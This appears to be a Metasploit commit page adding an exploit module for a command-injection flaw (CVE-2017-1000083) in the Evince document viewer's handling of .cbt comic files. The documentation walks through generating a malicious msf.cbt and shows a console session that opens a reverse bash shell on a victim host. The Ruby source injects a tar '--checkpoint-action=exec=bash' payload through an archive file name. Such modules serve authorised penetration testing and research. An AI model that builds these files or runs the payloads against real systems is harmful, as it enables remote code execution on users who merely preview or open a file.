Land #11349, Add Evince CBT File Command Injection module
Pearce Barry
Metasploit
parent
0fba650551
commit
a6a391de0a
|
|
@ -0,0 +1,83 @@
|
|||
## Description
|
||||
|
||||
This module exploits a command injection vulnerability in Evince
|
||||
before version 3.24.1 when opening comic book `.cbt` files.
|
||||
|
||||
Some file manager software, such as Nautilus and Atril, may allow
|
||||
automatic exploitation without user interaction due to thumbnailer
|
||||
preview functionality.
|
||||
|
||||
Note that limited space is available for the payload (<256 bytes).
|
||||
Reverse Bash and Reverse Netcat payloads should be sufficiently small.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[Evince](https://wiki.gnome.org/Apps/Evince) is a document viewer
|
||||
for multiple document formats.
|
||||
|
||||
This module has been tested successfully on evince versions:
|
||||
|
||||
* 3.4.0-3.1 + nautilus 3.4.2-1+build1 on Kali 1.0.6
|
||||
* 3.18.2-1ubuntu4.3 + atril 1.12.2-1ubuntu0.3 on Ubuntu 16.04
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. ```use exploit/multi/fileformat/evince_cbt_cmd_injection```
|
||||
2. ```set PAYLOAD <PAYLOAD>```
|
||||
3. ```run```
|
||||
4. The module should generate the malicious `msf.cbt` file
|
||||
5. ```handler -p <PAYLOAD> -H <LHOST> -P <LPORT>```
|
||||
6. Copy `msf.cbt` to target host and open with Evince
|
||||
7. You should receive a new session
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**FILENAME**
|
||||
|
||||
The cbt document file name (default: `msf.cbt`)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/fileformat/evince_cbt_cmd_injection
|
||||
msf5 exploit(multi/fileformat/evince_cbt_cmd_injection) > set payload cmd/unix/reverse_bash
|
||||
payload => cmd/unix/reverse_bash
|
||||
msf5 exploit(multi/fileformat/evince_cbt_cmd_injection) > set lhost 172.16.191.188
|
||||
lhost => 172.16.191.188
|
||||
msf5 exploit(multi/fileformat/evince_cbt_cmd_injection) > run
|
||||
|
||||
[*] Writing file: msf.cbt (1078272 bytes) ...
|
||||
[+] msf.cbt stored at /root/.msf4/local/msf.cbt
|
||||
msf5 exploit(multi/fileformat/evince_cbt_cmd_injection) > mv /root/.msf4/local/msf.cbt /var/www
|
||||
[*] exec: mv /root/.msf4/local/msf.cbt /var/www
|
||||
|
||||
msf5 exploit(multi/fileformat/evince_cbt_cmd_injection) > use exploit/multi/handler
|
||||
msf5 exploit(multi/handler) > set payload cmd/unix/reverse_bash
|
||||
payload => cmd/unix/reverse_bash
|
||||
msf5 exploit(multi/handler) > set lhost 172.16.191.188
|
||||
lhost => 172.16.191.188
|
||||
msf5 exploit(multi/handler) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||
[*] Command shell session 1 opened (172.16.191.188:4444 -> 172.16.191.160:39362) at 2019-02-03 00:16:59 -0500
|
||||
|
||||
id
|
||||
uid=1000(test) gid=1000(test) groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
|
||||
uname -a
|
||||
Linux ubuntu-16-04-x64 4.4.0-140-generic #166-Ubuntu SMP Wed Nov 14 20:09:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
||||
```
|
||||
|
||||
|
||||
## Manual Cleanup
|
||||
|
||||
To prevent re-exploitation from a thumbnailer process:
|
||||
|
||||
```
|
||||
/usr/bin/killall evince-thumbnailer
|
||||
/usr/bin/killall atril-thumbnailer
|
||||
```
|
||||
|
||||
|
|
@ -0,0 +1,108 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'rex/zip'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Evince CBT File Command Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a command injection vulnerability in Evince
|
||||
before version 3.24.1 when opening comic book `.cbt` files.
|
||||
|
||||
Some file manager software, such as Nautilus and Atril, may allow
|
||||
automatic exploitation without user interaction due to thumbnailer
|
||||
preview functionality.
|
||||
|
||||
Note that limited space is available for the payload (<256 bytes).
|
||||
Reverse Bash and Reverse Netcat payloads should be sufficiently small.
|
||||
|
||||
This module has been tested successfully on evince versions:
|
||||
|
||||
3.4.0-3.1 + nautilus 3.4.2-1+build1 on Kali 1.0.6;
|
||||
3.18.2-1ubuntu4.3 + atril 1.12.2-1ubuntu0.3 on Ubuntu 16.04.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Felix Wilhelm', # Discovery
|
||||
'Sebastian Krahmer', # PoC
|
||||
'Matlink', # Exploit
|
||||
'bcoles' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['BID', '99597'],
|
||||
['CVE', '2017-1000083'],
|
||||
['EDB', '45824'],
|
||||
['URL', 'https://seclists.org/oss-sec/2017/q3/128'],
|
||||
['URL', 'https://bugzilla.gnome.org/show_bug.cgi?id=784630'],
|
||||
['URL', 'https://bugzilla.suse.com/show_bug.cgi?id=1046856'],
|
||||
['URL', 'https://bugs.launchpad.net/ubuntu/+source/atril/+bug/1735418'],
|
||||
['URL', 'https://bugs.launchpad.net/ubuntu/+source/atril/+bug/1800662'],
|
||||
['URL', 'https://access.redhat.com/security/cve/cve-2017-1000083'],
|
||||
['URL', 'https://security-tracker.debian.org/tracker/CVE-2017-1000083']
|
||||
],
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 215,
|
||||
'BadChars' => "\x00\x0a\x0d\x22",
|
||||
'DisableNops' => true
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PAYLOAD' => 'cmd/unix/reverse_bash',
|
||||
'DisablePayloadHandler' => true
|
||||
},
|
||||
'Targets' => [[ 'Automatic', {}]],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '2017-07-13',
|
||||
'DefaultTarget' => 0))
|
||||
register_options([
|
||||
OptString.new('FILENAME', [true, 'The cbt document file name', 'msf.cbt'])
|
||||
])
|
||||
end
|
||||
|
||||
def exploit
|
||||
ext = %w[png jpg gif]
|
||||
path = " --checkpoint-action=exec=bash -c \"#{payload.encoded};\".#{ext.sample}"
|
||||
|
||||
# Tar archive max path length is 256.
|
||||
if path.length > 256
|
||||
fail_with Failure::PayloadFailed, "Payload is too large (#{path.length}): Max path length is 256 characters"
|
||||
end
|
||||
|
||||
# Tar archive max file name length is 100.
|
||||
path.split('/').each do |fname|
|
||||
if fname.length > 100
|
||||
fail_with Failure::PayloadFailed, "File name too long (#{fname.length}): Max filename length is 100 characters"
|
||||
end
|
||||
end
|
||||
|
||||
# Create malicious tar archive
|
||||
tarfile = StringIO.new
|
||||
Rex::Tar::Writer.new tarfile do |tar|
|
||||
tar.add_file path, 0644 do |io|
|
||||
io.write ''
|
||||
end
|
||||
# Pad file to 1+ MB to trigger tar checkpoint action
|
||||
tar.add_file rand_text_alphanumeric(10..20), 0644 do |io|
|
||||
io.write rand_text(1_000_000..1_100_000)
|
||||
end
|
||||
end
|
||||
tarfile.rewind
|
||||
cbt = tarfile.read
|
||||
|
||||
print_status "Writing file: #{datastore['FILENAME']} (#{cbt.length} bytes) ..."
|
||||
file_create cbt
|
||||
end
|
||||
end
|
||||
Loading…
Reference in New Issue